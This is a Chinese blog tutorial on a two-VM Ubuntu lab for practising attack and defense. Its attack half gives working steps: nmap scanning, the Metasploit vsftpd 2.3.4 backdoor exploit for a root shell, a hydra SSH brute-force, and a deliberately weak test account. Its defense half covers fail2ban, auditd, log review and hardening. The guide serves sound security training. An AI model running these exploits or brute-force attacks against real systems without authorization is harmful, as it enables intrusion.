网络安全攻防实战:基于 Ubuntu 的攻击机与防守机搭建与演练

一、前言:为什么要搭建攻防演练环境

网络安全是一门高度实践驱动的学科。只读文章、看视频而不动手,永远学不会真正的渗透测试与安全防护。搭建一套"攻击机 + 防守机"的本地实验环境,是每一位安全初学者和从业者性价比最高的入门方式。

本文以 Ubuntu 22.04 LTS 为核心,演示如何用两台虚拟机分别扮演攻击机(Red Team)与防守机/靶机(Blue Team),完成从信息收集、漏洞利用、暴力破解到日志检测、入侵响应、系统加固的完整攻防闭环。所有操作均在隔离的虚拟网络中进行,仅供学习研究,请勿对未授权目标使用。

二、实验环境规划

2.1 拓扑结构

实验使用 VMware Workstation 或 VirtualBox 创建两台虚拟机,加入同一个仅主机(Host-Only)或 NAT 网络,保证攻击机可以访问防守机,同时与外部互联网逻辑隔离。典型拓扑如下:

复制代码
┌──────────────┐        Host-Only 网络         ┌──────────────┐
│   攻击机      │  ─────────────────────────▶  │   防守机      │
│ Ubuntu 22.04 │      192.168.56.0/24          │ Ubuntu Server│
│ 192.168.56.10│                              │ 192.168.56.20│
└──────────────┘                              └──────────────┘
  工具:nmap / msf / hydra                      服务:SSH / Apache / vsftpd
                                               防御:ufw / fail2ban / auditd

2.2 虚拟机资源配置

角色 系统 IP 地址 CPU / 内存 磁盘
攻击机 Ubuntu 22.04 Desktop 192.168.56.10 2 核 / 4 GB 40 GB
防守机 Ubuntu 22.04 Server 192.168.56.20 2 核 / 2 GB 30 GB

两台机器安装完成后务必拍摄快照(Snapshot),演练出错可以随时回滚,这是靶场实验最重要的习惯之一。

三、攻击机配置(Ubuntu + 渗透工具链)

3.1 基础环境安装

Ubuntu 默认不带渗透工具,需要手动安装。执行以下命令完成攻击机的基本武装:

bash 复制代码
sudo apt update && sudo apt upgrade -y
sudo apt install -y nmap netcat-openbsd hydra nikto sqlmap \
    metasploit-framework enum4linux gobuster wireshark
sudo systemctl enable postgresql --now   # Metasploit 数据库
sudo msfdb init                           # 初始化 msf 数据库

如果不想自己折腾,也可以直接使用 Kali Linux 作为攻击机;但手动在 Ubuntu 上搭建工具链能帮助你理解每个工具的依赖与原理,这正是本文选择 Ubuntu 的原因。

3.2 常用渗透工具一览

工具 阶段 用途
nmap 信息收集 主机发现、端口扫描、服务与版本识别
gobuster / nikto Web 探测 目录爆破、Web 漏洞扫描
metasploit 漏洞利用 模块化漏洞利用与后渗透框架
hydra 口令攻击 SSH/FTP/HTTP 等协议暴力破解
sqlmap Web 利用 自动化 SQL 注入检测与利用
wireshark / tcpdump 流量分析 抓包分析攻击与防守全过程

四、防守机配置(Ubuntu Server 靶机)

4.1 靶场服务部署

防守机本质上是一台"故意暴露服务"的 Ubuntu Server。先部署常见的服务作为攻击面:

bash 复制代码
sudo apt install -y openssh-server apache2 vsftpd
sudo systemctl enable --now ssh apache2 vsftpd
# 创建一个弱口令测试账号(仅实验用途!)
sudo useradd -m testuser && echo "testuser:123456" | sudo chpasswd

如果想练习真实漏洞,可以额外部署 Metasploitable2、DVWA、OWASP Juice Shop 等经典靶场,它们内置了大量已知漏洞,非常适合配合 Metasploit 演练。

4.2 监控与防御组件

防守侧的核心是"看得见"------让每一次攻击都在日志和告警中留下痕迹。安装以下组件:

bash 复制代码
sudo apt install -y ufw fail2ban auditd rkhunter tcpdump
sudo ufw allow 22/tcp && sudo ufw allow 80/tcp
sudo ufw enable                        # 启用防火墙
sudo systemctl enable --now fail2ban   # 登录失败自动封禁
sudo auditctl -w /etc/passwd -p wa -k passwd-change  # 审计关键文件

fail2ban 默认监控 /var/log/auth.log,当同一 IP 多次 SSH 登录失败时会自动调用 iptables 封禁该 IP,是防守机对抗暴力破解的第一道自动防线。

五、实战攻防演练全流程

5.1 信息收集

在攻击机上对防守机进行全端口扫描,识别开放的服务与版本:

bash 复制代码
nmap -sV -sC -p- 192.168.56.20 -oN scan_result.txt

扫描结果显示防守机开放 22(OpenSSH)、21(vsftpd)、80(Apache)端口。-sV 探测服务版本,-sC 调用默认脚本进一步枚举信息。信息收集阶段拿到的版本号,将直接决定后续漏洞利用的方向。

5.2 漏洞探测与利用

假设扫描发现 vsftpd 2.3.4------这是一个经典的笑脸后门版本。在攻击机上使用 Metasploit 利用:

bash 复制代码
msfconsole
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.56.20
msf6 > run        # 成功则直接获得 root shell

如果是 Web 服务,可以先用 nikto 扫描常见漏洞,再用 sqlmap 验证注入点。渗透的核心思路始终是:版本对应漏洞,漏洞对应模块,模块对应 payload。

5.3 口令暴力破解

没有可利用的版本漏洞时,弱口令往往是最短的突破口。用 hydra 对 SSH 进行爆破:

bash 复制代码
hydra -l testuser -P /usr/share/wordlists/rockyou.txt \
    ssh://192.168.56.20 -t 4 -V
# 输出:[22][ssh] host: 192.168.56.20  login: testuser  password: 123456

5.4 防守侧检测与响应

切换到防守机视角,复盘这次攻击在防守侧留下的全部痕迹:

bash 复制代码
# 1. 查看 SSH 登录失败与成功记录
grep sshd /var/log/auth.log | tail -50
# 2. 查看 fail2ban 封禁记录(hydra 爆破会触发封禁)
sudo fail2ban-client status sshd
# 3. 查看关键文件是否被篡改
sudo ausearch -k passwd-change
# 4. 实时抓取攻击流量进行分析
sudo tcpdump -i eth0 host 192.168.56.10 -w attack.pcap

通过日志可以清晰看到:大量来自 192.168.56.10 的 SSH 认证失败记录(对应 hydra 爆破)、vsftpd 的异常会话、以及随后 testuser 的成功登录。防守方据此封禁攻击 IP、禁用弱口令账号、修补漏洞版本,完成一次"检测---响应---加固"的闭环。

六、防守加固清单

演练结束后,按照以下清单对防守机进行系统性加固:

  1. 口令与认证------禁用弱口令,启用 SSH 密钥登录并关闭密码认证(PasswordAuthentication no);修改默认端口。
  2. 最小化攻击面------关闭不必要的服务与端口,ufw 默认拒绝入站,仅放行必需端口。
  3. 及时修补------定期 apt upgrade,订阅 Ubuntu Security Notice,及时修复 vsftpd 这类高危版本漏洞。
  4. 入侵检测------fail2ban 自动封禁 + auditd 审计关键文件 + rkhunter 定期扫描 rootkit。
  5. 日志集中------将 auth.log、Apache 日志通过 rsyslog 转发到集中日志服务器,防止攻击者清除本地痕迹。
  6. 备份与快照------重要数据定期备份,虚拟机保留干净快照,被攻破后可快速恢复。

七、总结

本文用两台 Ubuntu 虚拟机搭建了一个最小可用的攻防演练环境:攻击机负责信息收集、漏洞利用与口令破解,防守机负责服务暴露、日志监控、入侵检测与加固响应。红蓝双方在同一张网段里对抗,每一次攻击都能在日志中找到对应的痕迹,这正是理解"攻防一体"最好的方式。

后续进阶方向:在内网拓扑中加入第三台机器练习横向移动;引入 WAF 与 IDS(如 Snort、Suricata)提升检测能力;把攻击流量做成 pcap 数据集练习流量分析。安全没有终点,唯有持续演练。

攻防一体 · 知行合一

本文所有实验仅限授权环境,请遵守《网络安全法》相关规定

相关推荐
小程序设计10 小时前
校园网络资产自动探测与安全状态评估系统设计与实现
网络·安全
WX _ jishuwu199010 小时前
esmfold gpu模式 批量预测蛋白三级结构实况记录 - 供参考
人工智能·ubuntu·三代测序·亚细胞定位,·deeploc·protcompv9
小程序设计10 小时前
电力大模型输出内容安全风险评估和控制系统
安全
Wang's Blog11 小时前
Java框架快速入门: Spring Security+OAuth2之前端按钮级安全与路由守卫
java·安全·spring
天涯浪客11 小时前
Python sys.meta_path 实战:用 Import Hook 给 os.system / eval 装拦截器
安全
judezh11 小时前
验证一个容器镜像到底在验什么?我把自家 v1.0.0 的签名从注册表一路扒到了证书里
安全·开源
微软技术分享12 小时前
基于 HuggingFace Tokenizers 训练自定义分词器
python·ubuntu·大模型·huggingface
皓月盈江13 小时前
Linux系统使用VSCode搭建GO开发环境
linux·vscode·ubuntu·golang·debian
CHHH_HHH13 小时前
【Linux系统篇】进程间通信揭秘:从管道到共享内存
linux·服务器·c语言·开发语言·后端·ubuntu
Bruce_Liuxiaowei1 天前
2026年9月第2周网络安全形势周报
网络·安全·web安全·网络安全·漏洞评级